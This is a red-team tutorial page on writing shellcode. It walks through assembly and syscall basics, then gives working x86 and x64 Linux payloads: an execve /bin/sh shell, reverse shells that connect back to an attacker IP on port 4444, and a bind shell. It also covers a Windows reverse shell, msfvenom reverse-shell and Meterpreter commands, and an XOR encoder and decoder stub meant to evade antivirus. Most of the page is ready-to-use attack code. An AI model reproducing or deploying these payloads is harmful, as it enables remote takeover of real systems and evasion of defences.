ᛉ Yggdrasil

Binary

Shellcoding

15 Sep 2026 · 8,238 words · 37 min

Contents

Legend: [x86] = 32-bit | [x64] = 64-bit | [LIN] = Linux | [WIN] = Windows | [ASM] = Assembly | [OPSEC] = Stealth consideration


1. Introduction — What is Shellcode

What it means: Shellcode is position-independent machine code injected into a running process to execute arbitrary commands — traditionally spawning a shell, hence the name. In modern red teaming, shellcode is the delivery format for beacons, reverse shells, and staged payloads. Understanding how to write it from scratch gives you the ability to craft custom, AV-evading payloads when public tools are detected.

Shellcode execution flow:

┌──────────────────────────────────────────────────────────────┐  
│ Vulnerability → Control EIP/RIP                              │  
│ (Buffer Overflow, (execution diverted to our bytes)          │  
│ Heap Spray,                                                  │  
│ Process Injection) → Shellcode executes in memory            │  
│ (no file on disk, just bytes)                                │  
│ → Desired action                                             │  
│ (shell, reverse conn, download)                              │  
└──────────────────────────────────────────────────────────────┘

Shellcode Requirements

✔ Position Independent → works at any memory address (no hardcoded addrs)
✔ Null-byte Free → strings end at \x00 — must avoid in most exploits
✔ No bad chars → avoid chars filtered by the vulnerable application
✔ Small size → buffer space is often limited
✔ Self-contained → no external dependencies or imports
✔ Correct architecture → x86 vs x64 — not interchangeable

Shellcode Types

Type Purpose Size
execve /bin/sh Spawn local shell ~25-30 bytes
Reverse shell Connect back to attacker ~70-100 bytes
Bind shell Listen on a port ~100-150 bytes
Staged (stager) Download + exec second stage ~50-100 bytes
Egg hunter Find shellcode in memory ~32 bytes
Syscall stub Single system call ~10-20 bytes

2. Assembly Fundamentals (x86 / x64)

What it means: Shellcode is written in assembly — the language closest to raw machine code. You must understand registers, calling conventions, stack operations, and syscall mechanics to write working shellcode. x86 and x64 differ significantly in register naming, calling convention, and syscall invocation.


2.1 Registers

x86 (32-bit) Registers:

┌───────────────────────────────────────────────────────────┐  
│ EAX EBX ECX EDX — General purpose (32-bit)                │  
│ ESI EDI — Source / Destination index                      │  
│ ESP — Stack pointer                                       │  
│ EBP — Base pointer (stack frame)                          │  
│ EIP — Instruction pointer (RIP in x64)                    │  
│                                                           │  
│ Sub-registers:                                            │  
│ EAX → AX (16-bit) → AH (high 8) / AL (low 8)              │  
└───────────────────────────────────────────────────────────┘

x64 (64-bit) Registers:

┌───────────────────────────────────────────────────────────┐  
│ RAX RBX RCX RDX — General purpose (64-bit)                │  
│ RSI RDI R8 R9 — Extended / arg registers                  │  
│ R10 R11 R12 R13 R14 R15                                   │  
│ RSP — Stack pointer                                       │  
│ RBP — Base pointer                                        │  
│ RIP — Instruction pointer                                 │  
│                                                           │  
│ Sub-registers:                                            │  
│ RAX → EAX (32) → AX (16) → AH/AL (8)                      │  
└───────────────────────────────────────────────────────────┘

2.2 x86 Calling Convention (cdecl)

; Arguments pushed RIGHT to LEFT onto stack
; Return value in EAX
; Caller cleans up the stack

; Example: int execve(const char *pathname, char *const argv[], char *const envp[])
; Call execve("/bin/sh", ["/bin/sh", NULL], NULL)

push 0               ; envp = NULL
push 0               ; argv = NULL[1]
push <addr of "/bin/sh">  ; argv
push <addr of "/bin/sh">  ; pathname
call execve

2.3 x64 Calling Convention (System V AMD64 ABI — Linux)

; Arguments passed in REGISTERS (not stack) for first 6 args:
; RDI = arg1 (first arg)
; RSI = arg2
; RDX = arg3
; RCX = arg4
; R8  = arg5
; R9  = arg6
; Further args go on stack
; Return value in RAX
; Syscall number in RAX

; Example: execve("/bin/sh", ["/bin/sh", NULL], NULL)
mov rdi, <addr of "/bin/sh">  ; arg1 = pathname
mov rsi, <addr of argv>       ; arg2 = argv
mov rdx, 0                    ; arg3 = envp = NULL
mov rax, 59                   ; syscall number for execve
syscall

2.4 Key Assembly Instructions

; Data movement
mov eax, 1          ; eax = 1
mov [esp], eax      ; memory[esp] = eax
lea eax, [ebx+4]    ; eax = address of (ebx+4)
xchg eax, ebx       ; swap eax and ebx

; Arithmetic
add eax, 5          ; eax = eax + 5
sub eax, 3          ; eax = eax - 3
inc eax             ; eax++
dec eax             ; eax--
xor eax, eax        ; eax = 0 (zero register — no null bytes!)
mul ebx             ; EDX:EAX = EAX * EBX

; Stack
push eax            ; push eax onto stack (ESP -= 4)
pop eax             ; pop from stack into eax (ESP += 4)
pushad              ; push all general registers
popad               ; pop all general registers

; Control flow
jmp <label>         ; unconditional jump
call <label>        ; push EIP, jump to label
ret                 ; pop EIP (return)
jz  <label>         ; jump if zero flag set
jnz <label>         ; jump if zero flag NOT set
jl  <label>         ; jump if less
jg  <label>         ; jump if greater

; Comparison
cmp eax, 5          ; sets flags based on eax-5 (doesn't store result)
test eax, eax       ; AND eax,eax — sets ZF if eax==0

; Logical
and eax, 0xFF       ; bitwise AND
or  eax, 0x01       ; bitwise OR
xor eax, eax        ; XOR (zero register)
not eax             ; bitwise NOT

; Bit shifts
shl eax, 2          ; shift left 2 (multiply by 4)
shr eax, 1          ; shift right 1 (divide by 2)
ror eax, 8          ; rotate right 8 bits
rol eax, 8          ; rotate left 8 bits

; String operations (with REP prefix)
rep movsb           ; copy ECX bytes from ESI to EDI
rep stosb           ; fill ECX bytes at EDI with AL

2.5 NASM Syntax Essentials

; NASM (Netwide Assembler) — most common for shellcode

section .text
global _start

_start:
    ; your code here
    ; Intel syntax: mov dst, src   (NASM default)
    ; AT&T syntax:  movl src, dst  (GAS — opposite!)

; Define bytes
db 0x41             ; define byte 0x41
dw 0x4142           ; define word (2 bytes)
dd 0xdeadbeef       ; define dword (4 bytes)
dq 0x1122334455667788  ; define qword (8 bytes)

; String
db "/bin/sh",0      ; null-terminated string

; Sections
section .text       ; code
section .data       ; initialized data
section .bss        ; uninitialized data

3. Linux Syscall Interface

What it means: On Linux, shellcode doesn't call libc functions — it invokes kernel syscalls directly using the int 0x80 instruction (x86) or syscall instruction (x64). Each syscall has a number, and arguments are loaded into specific registers before the call.


3.1 x86 Linux Syscall Convention

; Place syscall number in EAX
; Arguments in: EBX, ECX, EDX, ESI, EDI, EBP
; Invoke with: int 0x80
; Return value in EAX

; Example: exit(0)
mov eax, 1     ; syscall 1 = exit
mov ebx, 0     ; arg1 = exit code 0
int 0x80       ; invoke kernel

3.2 x64 Linux Syscall Convention

; Place syscall number in RAX
; Arguments in: RDI, RSI, RDX, R10, R8, R9
; Invoke with: syscall
; Return value in RAX
; RCX and R11 are clobbered by syscall instruction

; Example: exit(0)
mov rax, 60    ; syscall 60 = exit
xor rdi, rdi   ; arg1 = exit code 0
syscall

3.3 Key Linux Syscall Numbers

x86 (32-bit) x64 (64-bit) Syscall Arguments
─────────────────────────────────────────────────────────
1 60 exit (int status)
2 57 fork ()
3 0 read (fd, buf, count)
4 1 write (fd, buf, count)
5 2 open (path, flags, mode)
6 3 close (fd)
11 59 execve (path, argv, envp)
41 41 socket (domain, type, proto)
42 42 connect (sockfd, addr, len)
43 43 accept (sockfd, addr, len)
49 49 bind (sockfd, addr, len)
50 50 listen (sockfd, backlog)
63 33 dup2 (oldfd, newfd)
90 9 mmap (addr, len, prot, flags, fd, off)
91 11 munmap (addr, len)
125 10 mprotect (addr, len, prot)

Full reference:

x86: /usr/include/x86_64-linux-gnu/asm/unistd_32.h x64: /usr/include/x86_64-linux-gnu/asm/unistd_64.h OR: cat /usr/include/asm/unistd_64.h | grep execve


4. Writing Your First Shellcode (execve /bin/sh)

What it means: The classic "Hello World" of shellcode — spawning /bin/sh via the execve syscall. This is position-independent, null-byte-free, and around 25-30 bytes. Understanding this forms the foundation for every other shellcode you'll write.


4.1 Understand the execve Call

// C equivalent:
char *argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);

// Syscall signature:
// int execve(const char *pathname, char *const argv[], char *const envp[]);
// x86 syscall number: 11 (0xb)
// Arguments: EBX=pathname, ECX=argv, EDX=envp

4.2 x86 execve Shellcode (Step-by-Step)

; execve("/bin/sh", ["/bin/sh", NULL], NULL) on x86 Linux
; Strategy:
;   1. Push null-terminated "/bin/sh" onto stack (avoid nulls)
;   2. Set EBX = address of "/bin/sh" on stack
;   3. Build argv[] on stack: [addr_of_binsh, NULL]
;   4. Set ECX = address of argv[]
;   5. Set EDX = NULL (envp)
;   6. Set EAX = 11 (execve syscall)
;   7. int 0x80

section .text
global _start

_start:
    ; Clear registers (xor avoids null bytes unlike 'mov eax, 0')
    xor eax, eax        ; eax = 0
    xor ebx, ebx        ; ebx = 0
    xor ecx, ecx        ; ecx = 0
    xor edx, edx        ; edx = 0

    ; Push "/bin//sh" onto stack (8 bytes — aligned, "//" is same as "/")
    ; "/bin//sh" in little-endian hex:
    ;   "hs//" → 0x68732f2f (pushed first, ends up at higher address)
    ;   "nib/" → 0x6e69622f
    push 0x68732f2f     ; "hs//" — little endian of "//sh"
    push 0x6e69622f     ; "nib/" — little endian of "/bin"
    ; Stack now contains: "/bin//sh" at ESP

    ; EBX = pointer to "/bin//sh"
    mov ebx, esp        ; ebx = &"/bin//sh"

    ; Build argv[] = [&"/bin//sh", NULL]
    push eax            ; push NULL (argv = NULL) — eax is already 0[1]
    push ebx            ; push &"/bin//sh" (argv)
    mov ecx, esp        ; ecx = &argv[]

    ; EDX = NULL (envp)
    ; edx already = 0 from xor above

    ; EAX = 11 (execve syscall number)
    mov al, 0xb         ; use AL (8-bit) to avoid null bytes (0x0000000b has nulls)
    ; mov eax, 11 → bytes: 0xbb0b000000 (has \x00)
    ; mov al, 0xb → bytes: 0xb00b (no nulls!)

    ; Execute syscall
    int 0x80
# Step 1: Assemble
nasm -f elf32 shell.asm -o shell.o

# Step 2: Link
ld -m elf_i386 -o shell shell.o
# OR for static:
ld -m elf_i386 -static -o shell shell.o

# Step 3: Test it works
./shell
# Should give you a $ or sh-x.x$ prompt

# Step 4: Extract shellcode bytes
objdump -d shell | grep "^ " | cut -f2 | tr -d ' \n'
# OR proper format:
objdump -d shell | grep "^ " | cut -f2 | sed 's/ /\\x/g' | sed 's/^/\\x/'

4.4 Shellcode C Wrapper — Execute & Test

// shellcode_test.c — wrap shellcode in C to test execution
#include <stdio.h>
#include <string.h>

// Paste your extracted shellcode here
unsigned char shellcode[] = \
    "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
    "\x68\x2f\x2f\x73\x68\x68\x2f\x62"
    "\x69\x6e\x89\xe3\x51\x53\x89\xe1"
    "\xb0\x0b\xcd\x80";

int main() {
    printf("Shellcode length: %zu bytes\n", strlen(shellcode));
    printf("[*] Executing shellcode...\n");

    // Cast shellcode to function pointer and call
    int (*func)() = (int(*)())shellcode;
    func();

    return 0;
}
# Compile with executable stack (required for testing)
gcc -m32 -fno-stack-protector -z execstack -o test shellcode_test.c
./test

5. x64 Linux Shellcode

What it means: x64 shellcode follows a different calling convention — arguments go in registers (RDI, RSI, RDX), the syscall instruction replaces int 0x80, and string manipulation must be adapted to 64-bit alignment.


5.1 x64 execve /bin/sh

; x64 Linux execve("/bin/sh", ["/bin/sh", NULL], NULL)
; syscall number for execve = 59 (0x3b)
; RDI = pathname, RSI = argv, RDX = envp

section .text
global _start

_start:
    ; Zero out registers
    xor rax, rax        ; rax = 0
    xor rsi, rsi        ; rsi = 0 (argv will be built here)
    xor rdx, rdx        ; rdx = 0 (envp = NULL)

    ; Push "/bin//sh" (8 bytes) onto stack
    ; "/bin//sh" = 0x68732f2f6e69622f in little-endian (8 bytes, fits in 64-bit push)
    mov rbx, 0x68732f2f6e69622f  ; "/bin//sh"
    push rbx
    mov rdi, rsp        ; rdi = &"/bin//sh"

    ; Build argv[] on stack: [rdi, NULL]
    push rax            ; push NULL (argv)[1]
    push rdi            ; push &"/bin//sh" (argv)
    mov rsi, rsp        ; rsi = &argv[]

    ; rdx already 0 (envp = NULL)

    ; Set syscall number
    mov al, 59          ; execve = 59 (use AL to avoid null bytes)

    syscall
# Assemble and link x64
nasm -f elf64 shell64.asm -o shell64.o
ld -o shell64 shell64.o
./shell64

# Extract
objdump -d shell64 | grep "^ " | cut -f2 | \
  perl -pe 's/(\w{2})\s*/\\x$1/g'

5.2 x64 Compact Shellcode (23 bytes)

; Super compact x64 execve shellcode
; Uses relative addressing trick with RIP
global _start

_start:
    xor esi, esi            ; RSI = NULL (argv)
    mul esi                 ; RAX = 0, RDX = 0 (mul zeroes both)
    push rax                ; push null terminator
    mov rbx, 0x68732f2f6e69622f  ; "/bin//sh"
    push rbx
    push rsp
    pop rdi                 ; RDI = pointer to "/bin//sh"
    push 59
    pop rax                 ; RAX = 59 (execve)
    cdq                     ; RDX = 0 (sign extend EAX into EDX)
    syscall

6. Null Byte Avoidance

What it means: Most exploit scenarios (buffer overflows via strcpy, SQL fields, format strings) use string functions that stop at \x00. A null byte in your shellcode truncates it — the rest never gets copied. Every shellcode technique must avoid null bytes.


6.1 Why Null Bytes Appear

; NULL BYTE SOURCES and their FIXES:
; ────────────────────────────────────────────────────────────

; Problem 1: Moving small values into full-width registers
mov eax, 11     ; bytes: b8 0b 00 00 00  ← THREE null bytes!
; Fix: zero register first, use lowest sub-register
xor eax, eax
mov al, 11      ; bytes: b0 0b  ← no nulls!

; Problem 2: Short jumps produce null in some assemblers
jmp short 0     ; can produce 00 offset
; Fix: use actual label targets

; Problem 3: Null-terminated strings
db "/bin/sh", 0  ; contains 0x00 null terminator
; Fix: push the string in pieces or XOR it in at runtime

; Problem 4: Large address moves
mov eax, 0x0000ff00  ; contains null bytes
; Fix: encode/decode — XOR with known value

6.2 Null-Byte-Free Techniques

; ─── Technique 1: XOR to zero a register ───
xor eax, eax       ; ✅ no null bytes
; vs:
mov eax, 0         ; ❌ contains 0x00

; ─── Technique 2: Use sub-register for small values ───
xor eax, eax
mov al, 0xb        ; syscall 11 for execve ✅
; vs:
mov eax, 0xb       ; ❌ b8 0b 00 00 00

; ─── Technique 3: Push string as dwords (arithmetic trick) ───
; "/bin/sh\0" — avoid the \x00 at the end
; "/bin//sh" trick — use double slash (same semantic)
push 0x68732f2f   ; "//sh" — ✅ all non-null
push 0x6e69622f   ; "/bin" — ✅ all non-null
; the double // means same as single / in Unix paths

; ─── Technique 4: XOR encoded string ───
; If "/bin/sh" must be exact — XOR with key, decode at runtime
; Key = 0x41: "/bin/sh" XORed = 0x6e2d632e37686928 (no nulls)
; Decoder stub XORs it back and executes

; ─── Technique 5: Subtract to avoid large null-containing values ───
; Want 0x00000080 but has nulls:
xor eax, eax
mov ax, 0x0180    ; ✅
sub ax, 0x100     ; ✅ result = 0x0080 — no null bytes in instructions

; ─── Technique 6: Shift to build value ───
xor eax, eax
mov al, 0x0b
shl eax, 8        ; shift left 8 bits
; Build complex values via shifts+ORs without null bytes

6.3 Check for Null Bytes in Shellcode

# Check shellcode bytes for nulls
echo -ne "\x31\xc0\x31\xdb\x50\xb0\x0b\xcd\x80" | xxd | grep "00"

# Using Python
python3 -c "
sc = b'\x31\xc0\x31\xdb\x50\xb0\x0b\xcd\x80'
if b'\x00' in sc:
    print('NULL BYTES FOUND at:', [hex(i) for i,b in enumerate(sc) if b==0])
else:
    print('No null bytes - clean shellcode')
"

# Full objdump check
objdump -d shell | grep "00 " | grep -v "Disassembly\|<"

6.4 Bad Character Testing

# Generate all 256 bytes for bad char testing
# Paste into exploit and check what gets corrupted in memory

python3 -c "
import sys
badchars = b'\x00'  # known bad chars — exclude from test

sc = b''
for i in range(1, 256):
    if i not in badchars:
        sc += bytes([i])

sys.stdout.buffer.write(sc)
" > badchars.bin

# Common bad chars by protocol/function:
# strcpy:    \x00 (null)
# gets:      \x00 \x0a (null, newline)
# HTTP:      \x00 \x0a \x0d (null, LF, CR)
# snprintf:  \x00 \x25 (null, %)
# scanf:     \x00 \x09 \x0a \x0d \x20 (whitespace variants)

7. Reverse Shell Shellcode

What it means: A reverse shell shellcode creates a TCP socket back to the attacker, then redirects stdin/stdout/stderr of /bin/sh to that socket — giving the attacker an interactive shell over the network. This is the most commonly used shellcode in real exploits.


7.1 Reverse Shell Logic (C Reference)

// What the shellcode must do:
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>

int sockfd = socket(AF_INET, SOCK_STREAM, 0);
// AF_INET=2, SOCK_STREAM=1, proto=0

struct sockaddr_in addr;
addr.sin_family = AF_INET;          // 2
addr.sin_port = htons(4444);        // 0x115c (big endian)
addr.sin_addr.s_addr = inet_addr("192.168.1.1");  // attacker IP

connect(sockfd, (struct sockaddr*)&addr, sizeof(addr));

dup2(sockfd, 0);  // stdin  → socket
dup2(sockfd, 1);  // stdout → socket
dup2(sockfd, 2);  // stderr → socket

execve("/bin/sh", NULL, NULL);

7.2 x86 Reverse Shell Shellcode

; x86 Linux Reverse Shell
; Attacker IP: 192.168.1.100 (0xc0a80164)
; Port: 4444 (0x115c)

section .text
global _start

_start:

; ─── socket(AF_INET, SOCK_STREAM, 0) → EAX=sockfd ───
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx

    ; socketcall syscall = 102 (0x66) on x86
    ; EBX = subcall number (SYS_SOCKET=1)
    ; ECX = ptr to args array

    mov al, 0x66       ; socketcall syscall
    mov bl, 0x1        ; SYS_SOCKET = 1

    push ecx           ; proto = 0
    push 0x1           ; SOCK_STREAM = 1
    push 0x2           ; AF_INET = 2
    mov ecx, esp       ; ecx = ptr to [AF_INET, SOCK_STREAM, 0]
    int 0x80           ; socket() → EAX = sockfd
    mov edi, eax       ; save sockfd in EDI

; ─── connect(sockfd, &addr, sizeof(addr)) ───
    xor eax, eax
    xor ebx, ebx

    mov al, 0x66       ; socketcall
    mov bl, 0x3        ; SYS_CONNECT = 3

    ; Build sockaddr_in on stack (in reverse)
    push 0x6401a8c0    ; sin_addr = 192.168.1.100 (little-endian)
    push word 0x5c11   ; sin_port = 4444 (big-endian: 0x115c)
    push word 0x2      ; sin_family = AF_INET
    mov ecx, esp       ; ECX = &sockaddr_in
    push 0x10          ; sizeof(sockaddr_in) = 16 = 0x10
    push ecx           ; ptr to sockaddr_in
    push edi           ; sockfd
    mov ecx, esp       ; ECX = ptr to args
    int 0x80           ; connect()

; ─── dup2(sockfd, 0/1/2) — redirect stdin/stdout/stderr ───
    xor ecx, ecx
    mov cl, 0x3        ; counter = 3 (dup fd 0,1,2)

dup2_loop:
    xor eax, eax
    mov al, 0x3f       ; dup2 syscall = 63 = 0x3f
    dec ecx            ; 2, 1, 0
    mov ebx, edi       ; old fd = sockfd
    int 0x80
    jnz dup2_loop      ; loop until ecx = 0

; ─── execve("/bin//sh", NULL, NULL) ───
    xor eax, eax
    xor edx, edx
    push eax           ; null terminator
    push 0x68732f2f    ; "//sh"
    push 0x6e69622f    ; "/bin"
    mov ebx, esp       ; EBX = &"/bin//sh"
    mov ecx, edx       ; ECX = NULL (argv)
    mov al, 0xb        ; execve = 11
    int 0x80

7.3 x64 Reverse Shell Shellcode

; x64 Linux Reverse Shell
; IP: 192.168.1.100 = 0xc0a80164
; Port: 4444 = 0x115c

section .text
global _start

_start:

; ─── socket(AF_INET=2, SOCK_STREAM=1, 0) ───
    xor rax, rax
    xor rdi, rdi
    xor rsi, rsi
    xor rdx, rdx

    mov al, 41          ; socket syscall = 41
    mov dil, 2          ; AF_INET
    mov sil, 1          ; SOCK_STREAM
    syscall             ; RAX = sockfd
    mov r9, rax         ; save sockfd

; ─── connect(sockfd, &addr, 16) ───
    xor rax, rax
    push rax            ; padding
    push rax            ; padding

    ; Build sockaddr_in (16 bytes total):
    mov dword [rsp], 0x0002       ; sin_family=AF_INET (low 2 bytes)
    mov word  [rsp+2], 0x5c11     ; sin_port=4444 big-endian
    mov dword [rsp+4], 0x6401a8c0 ; sin_addr=192.168.1.100

    mov al, 42          ; connect syscall = 42
    mov rdi, r9         ; sockfd
    mov rsi, rsp        ; &sockaddr_in
    mov dl, 16          ; sizeof(sockaddr_in)
    syscall

; ─── dup2 loop (fd 2, 1, 0) ───
    xor rsi, rsi
    mov sil, 3

dup2_loop:
    dec rsi
    mov al, 33          ; dup2 = 33
    mov rdi, r9         ; sockfd
    syscall
    test rsi, rsi
    jnz dup2_loop

; ─── execve("/bin//sh") ───
    xor rax, rax
    push rax
    mov rbx, 0x68732f2f6e69622f   ; "/bin//sh"
    push rbx
    mov rdi, rsp        ; rdi = &"/bin//sh"
    xor rsi, rsi        ; argv = NULL
    xor rdx, rdx        ; envp = NULL
    mov al, 59          ; execve = 59
    syscall

8. Bind Shell Shellcode

What it means: A bind shell opens a listening port on the target and waits for the attacker to connect. It's useful when the target machine cannot reach the attacker (no outbound connections), but the attacker can reach the target on the open port.


8.1 Bind Shell Logic (C Reference)

// Equivalent C code:
int sockfd  = socket(AF_INET, SOCK_STREAM, 0);
int optval  = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, 4);

struct sockaddr_in addr = {AF_INET, htons(4444), INADDR_ANY};
bind(sockfd, (struct sockaddr*)&addr, sizeof(addr));
listen(sockfd, 0);

int clientfd = accept(sockfd, NULL, NULL);

dup2(clientfd, 0);   // stdin
dup2(clientfd, 1);   // stdout
dup2(clientfd, 2);   // stderr

execve("/bin/sh", NULL, NULL);

8.2 x64 Bind Shell

; x64 Linux Bind Shell — port 4444

section .text
global _start

_start:

; ─── socket(2, 1, 0) ───
    xor rax, rax
    mov al, 41          ; socket
    xor rdi, rdi
    mov dil, 2          ; AF_INET
    xor rsi, rsi
    mov sil, 1          ; SOCK_STREAM
    xor rdx, rdx
    syscall
    mov r9, rax         ; r9 = sockfd

; ─── bind(sockfd, &addr, 16) ───
    xor rax, rax
    push rax            ; INADDR_ANY = 0.0.0.0
    push word 0x5c11    ; port 4444 big-endian
    push word 0x0002    ; AF_INET
    mov rsi, rsp        ; &sockaddr_in

    mov al, 49          ; bind syscall = 49
    mov rdi, r9
    mov dl, 16
    syscall

; ─── listen(sockfd, 0) ───
    xor rax, rax
    mov al, 50          ; listen = 50
    mov rdi, r9
    xor rsi, rsi
    syscall

; ─── accept(sockfd, 0, 0) ───
    xor rax, rax
    mov al, 43          ; accept = 43
    mov rdi, r9
    xor rsi, rsi
    xor rdx, rdx
    syscall
    mov r10, rax        ; r10 = clientfd

; ─── dup2 stdin/stdout/stderr → clientfd ───
    xor rsi, rsi
    mov sil, 3

dup2_loop:
    dec rsi
    mov al, 33
    mov rdi, r10
    syscall
    test rsi, rsi
    jnz dup2_loop

; ─── execve("/bin//sh") ───
    xor rax, rax
    push rax
    mov rbx, 0x68732f2f6e69622f
    push rbx
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    mov al, 59
    syscall

9. Windows Shellcode Fundamentals

What it means: Windows shellcode cannot use Linux syscalls — Windows NT uses a different syscall mechanism and the numbers change with every OS version. Instead, Windows shellcode resolves WinAPI function addresses at runtime by parsing the Process Environment Block (PEB) to find loaded DLL base addresses, then walking the Export Address Table to find functions like LoadLibraryA, WSAStartup, WSASocket, and CreateProcess.


9.1 PEB Walking — Finding DLL Base Addresses

; Windows shellcode must find WinAPI addresses at runtime
; The PEB (Process Environment Block) contains a list of loaded modules
; TEB → PEB → PEB_LDR_DATA → InMemoryOrderModuleList → DLL bases

; x86 — Access TEB via FS:[0x30]
; x64 — Access TEB via GS:[0x60]

; x86 PEB Walk to find kernel32.dll base:
    xor eax, eax
    mov eax, [fs:0x30]   ; EAX = PEB
    mov eax, [eax+0x0c]  ; EAX = PEB->Ldr
    mov eax, [eax+0x14]  ; EAX = Ldr->InMemoryOrderModuleList.Flink
    mov eax, [eax]       ; EAX = next entry (ntdll)
    mov eax, [eax]       ; EAX = next entry (kernel32)
    mov eax, [eax+0x10]  ; EAX = kernel32.dll base address

; x64 PEB Walk:
    xor rdx, rdx
    mov rdx, [gs:0x60]    ; RDX = PEB
    mov rdx, [rdx+0x18]   ; RDX = PEB->Ldr
    mov rdx, [rdx+0x20]   ; RDX = InMemoryOrderModuleList.Flink
    mov rsi, [rdx]         ; RSI = next (ntdll)
    mov rsi, [rsi]         ; RSI = next (kernel32)
    mov rdx, [rsi+0x20]    ; RDX = kernel32 base address

9.2 Export Address Table (EAT) Parsing

; Once you have the DLL base address, walk its Export Table to find functions
; DLL Base → PE Header → Optional Header → Export Directory → AddressOfNames[]

; Pseudocode:
;   base = kernel32_base
;   e_lfanew = *(base + 0x3c)                 ; PE header offset
;   opt_header = base + e_lfanew + 0x18       ; Optional header
;   export_dir_rva = *(opt_header + 0x78)     ; Export directory RVA
;   export_dir = base + export_dir_rva
;   num_names = *(export_dir + 0x18)          ; NumberOfNames
;   names_rva = *(export_dir + 0x20)          ; AddressOfNames
;   funcs_rva = *(export_dir + 0x1c)          ; AddressOfFunctions
;   ords_rva  = *(export_dir + 0x24)          ; AddressOfNameOrdinals
;
; For each name in names array:
;   name_ptr = base + *(names_rva + i*4)
;   hash_name(name_ptr) == target_hash?
;     ordinal = *(ords_rva + i*2)
;     func_rva = *(funcs_rva + ordinal*4)
;     func_addr = base + func_rva

; Hashing function names avoids plaintext strings in shellcode
; Common hash: ror13 additive hash

9.3 ROR13 Hash Function (API Hashing)

// ROR13 — rotate right 13 bits and add character
// Used in Metasploit and most public Windows shellcode
unsigned int ror13_hash(const char *name) {
    unsigned int hash = 0;
    while (*name) {
        hash = ((hash >> 13) | (hash << (32-13)));  // ROR 13
        hash += (unsigned char)*name;
        name++;
    }
    return hash;
}

// Common API hashes (ROR13):
// LoadLibraryA    = 0xec0e4e8e
// GetProcAddress  = 0x7c0dfcaa
// WSAStartup      = 0x006b8029
// WSASocketA      = 0xe0df0fea
// connect         = 0x6174a599
// CreateProcessA  = 0x16b3fe72
// ExitProcess     = 0x73e2d87e
// WinExec         = 0x98fe8a0e
// VirtualAlloc    = 0xe553a458

10. Windows x64 Shellcode (WinAPI)

What it means: Windows x64 shellcode uses the Microsoft x64 calling convention — the first four arguments go in RCX, RDX, R8, R9 (left to right), with shadow space allocated on the stack. The PEB walk and EAT parsing follows the same logic but with 64-bit offsets.


10.1 Windows x64 Calling Convention

; Microsoft x64 calling convention (Windows):
; RCX = arg1
; RDX = arg2
; R8  = arg3
; R9  = arg4
; Stack = arg5, arg6, ...
; RSP must be 16-byte aligned before call
; 32 bytes of "shadow space" (home space) must be allocated before each call
; Return value in RAX

; Example: MessageBoxA(NULL, "Hello", "Title", MB_OK)
sub rsp, 0x28        ; 32 bytes shadow space + 8 align
xor rcx, rcx         ; hWnd = NULL
lea rdx, [msg]       ; lpText = "Hello"
lea r8,  [title]     ; lpCaption = "Title"
xor r9d, r9d         ; uType = MB_OK = 0
call MessageBoxA
add rsp, 0x28        ; cleanup shadow space

10.2 Full Windows x64 Reverse Shell Framework

/*
 * Windows x64 Reverse Shell — C implementation showing the pattern
 * Real shellcode implements this in assembly with PEB walking
 * This C version clarifies the logic flow
 */

#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")

void reverse_shell(char *ip, short port) {
    WSADATA wsa;
    WSAStartup(MAKEWORD(2,2), &wsa);

    SOCKET s = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP,
                           NULL, 0, WSA_FLAG_OVERLAPPED);

    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port   = htons(port);
    addr.sin_addr.s_addr = inet_addr(ip);

    connect(s, (SOCKADDR*)&addr, sizeof(addr));

    STARTUPINFOA si = {0};
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s;

    PROCESS_INFORMATION pi = {0};
    CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE,
                   0, NULL, NULL, &si, &pi);
}

10.3 msfvenom Windows Shellcode (Use as Reference)

# Generate Windows x64 reverse shell shellcode
msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -f c -b "\x00" \
  -o shell.c

# Windows x64 Meterpreter (staged)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -f raw -o meterpreter.bin

# Windows x64 — calc.exe (PoC — no AV concern)
msfvenom -p windows/x64/exec CMD=calc.exe \
  -f c -b "\x00" \
  -o calc.c

# x86 (32-bit Windows target)
msfvenom -p windows/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -f c -b "\x00\x0a\x0d" \
  -o shell32.c

# Output formats:
# -f c       → C array
# -f py      → Python bytes
# -f raw     → raw binary
# -f hex     → hex string
# -f powershell → PowerShell byte array
# -f base64  → base64 encoded

11. Shellcode Encoding & Obfuscation

What it means: Encoded shellcode removes bad characters and evades signature-based detection. An encoder wraps your shellcode in a decoder stub — when executed, the stub decodes the original shellcode in memory and jumps to it. This is how msfvenom's encoders (shikata_ga_nai) work.


11.1 XOR Encoder / Decoder

# Python — XOR encode shellcode to remove bad chars

def xor_encode(shellcode, key):
    encoded = bytearray()
    for byte in shellcode:
        encoded.append(byte ^ key)
    return bytes(encoded)

# Original shellcode
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Find a key that produces no null bytes
for key in range(1, 256):
    encoded = xor_encode(shellcode, key)
    if b'\x00' not in encoded:
        print(f"Key: 0x{key:02x}")
        print("Encoded:", ', '.join(f'0x{b:02x}' for b in encoded))
        break
; XOR Decoder Stub (x86)
; Decodes XOR-encoded shellcode in-place and jumps to it

decoder:
    jmp short call_shellcode        ; JMP/CALL trick for PIC

decode_loop:
    pop esi                         ; ESI = address of encoded shellcode
    xor ecx, ecx
    mov cl, <shellcode_length>      ; CL = number of bytes to decode

xor_loop:
    xor byte [esi], 0x41            ; XOR each byte with key 0x41
    inc esi
    loop xor_loop

    jmp short decoded_shellcode     ; jump to decoded shellcode

call_shellcode:
    call decode_loop
encoded_shellcode:
    ; ...XOR-encoded shellcode bytes here...

decoded_shellcode:
    ; execution continues here after decode

